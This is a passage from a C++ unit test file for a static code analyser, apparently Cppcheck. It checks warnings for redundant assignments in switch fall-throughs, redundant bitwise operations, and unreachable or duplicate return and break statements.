(void)y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" if (y)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" bool ret = false;\\n\"\n \" switch (switchCond) {\\n\"\n \" case 1:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 31:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 54:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" };\\n\"\n \" ret = true;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:8:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:11:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n }\n\n void switchRedundantBitwiseOperationTest() {\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = y | 3;\\n\"\n \" case 3:\\n\"\n \" y = y | 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" if (z)\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= z;\\n\"\n \" z++;\\n\"\n \" default:\\n\"\n \" y |= z;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" bar(y);\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" y = 4;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:8:11]: (style) Variable 'y' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 3;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y ^= 3;\\n\"\n \" case 3:\\n\"\n \" y ^= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 2;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unreachableCode() {\n check(\"void foo(int a) {\\n\"\n \" while(1) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" return 0;\\n\"\n \" return(a-1);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" A:\"\n \" return(0);\\n\"\n \" goto A;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" true\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" exit(0);\\n\"\n \" break;\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"class NeonSession {\\n\"\n \" void exit();\\n\"\n \"};\\n\"\n \"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { xResAccess->exit(); }\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" throw 0;\\n\"\n \" return;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw = 0;\\n\"\n \" return 1;\\n\"\n \"}\", false, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo(int unused) {\\n\"\n \" return 0;\\n\"\n \" (void)unused;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" if(bar)\\n\"\n \" return 0;\\n\"\n \" return 124;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" while(bar) {\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return 124;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while(bar) {\\n\"\n \" return;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #5707\n check(\"extern int i,j;\\n\"\n \"int foo() {\\n\"\n \" switch(i) {\\n\"\n \" default: j=1; break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \" j=2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" label:\\n\"\n \" throw 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:3]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" virtual void foo (P & Val) throw ();\\n\"\n \" virtual void foo1 (P & Val) throw ();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" while (true) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" do {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" } while (true);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" for (;;) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n // #3383. TODO: Use preprocessor\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style, inconclusive) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #4711 lambda functions\n check(\"int f() {\\n\"\n \" return g([](int x){(void)x+1; return x;});\\n\"\n \"}\",\n true,\n false,\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4756\n check(\"template <>\\n\"\n \"inline uint16_t htobe(uint16_t value) {\\n\"\n \" return ( __extension__ ({\\n\"\n \" register unsigned short int __v, __x = (unsigned short int) (value);\\n\"\n \" if (__builtin_constant_p (__x))\\n\"\n \" __v = ((unsigned short int) ((((__x) >> 8) & 0xff) | (((__x) & 0xff) << 8)));\\n\"\n \" else\\n\"\n \" __asm__ (\\\"rorw $8, %w0\\\" : \\\"=r\\\" (__v) : \\\"0\\\" (__x) : \\\"cc\\\");\\n\"\n \" (void)__v;\\n\"\n \" }));\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6008\n check(\"static std::function< int ( int, int ) > GetFunctor() {\\n\"\n \" return [](int a_, int b_) -> int {\\n\"\n \" int sum = a_ + b_;\\n\"\n \" return sum;\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5789\n check(\"struct per_state_info {\\n\"\n \" uint64_t enter, exit;\\n\"\n \" uint64_t events;\\n\"\n \" per_state_info() : enter(0), exit(0), events(0) {}\\n\"\n \"};\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6664\n check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : exit(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" (beat < 100) ? exit(0) : (void)0;\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8261\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : throw(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" exit(0);\\n\"\n \" return 1;\\n\" // <- clarify for tools that function does not continue..\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum : uint8_t { A, B } var = A;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define INB(x) __extension__ ({ u_int tmp = (x); inb(tmp); })\\n\" // #4739\n \"static unsigned char cmos_hal_read(unsigned index) {\\n\"\n \" unsigned short port_0, port_1;\\n\"\n \" assert(!verify_cmos_byte_index(index));\\n\"\n \" if (index < 128) {\\n\"\n \" port_0 = 0x70;\\n\"\n \" port_1 = 0x71;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" port_0 = 0x72;\\n\"\n \" port_1 = 0x73;\\n\"\n \" }\\n\"\n \" OUTB(index, port_0);\\n\"\n \" return INB(port_1);\\n\"\n \"}\\n\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"[[noreturn]] void n();\\n\"\n \"void f() {\\n\"\n \" n();\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Statements following noreturn function 'n()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" exit(1);\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" do {\\n\"\n \" break;\\n\"\n \" g();\\n\"\n \" } while (0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Statements following 'break' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #12244\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int c) {\\n\"\n \" switch (c) {\\n\"\n \" case '\\\\n':\\n\"\n \" { return 1; };\\n\"\n \" default:\\n\"\n \" { return c; };\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main(int argc, char *argv[]) {\\n\" // #11\n \" switch (argc) {\\n\"\n \" case 0: {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\"\n \"[test.cpp:1:26]: (style) Parameter 'argv' can be declared as const array 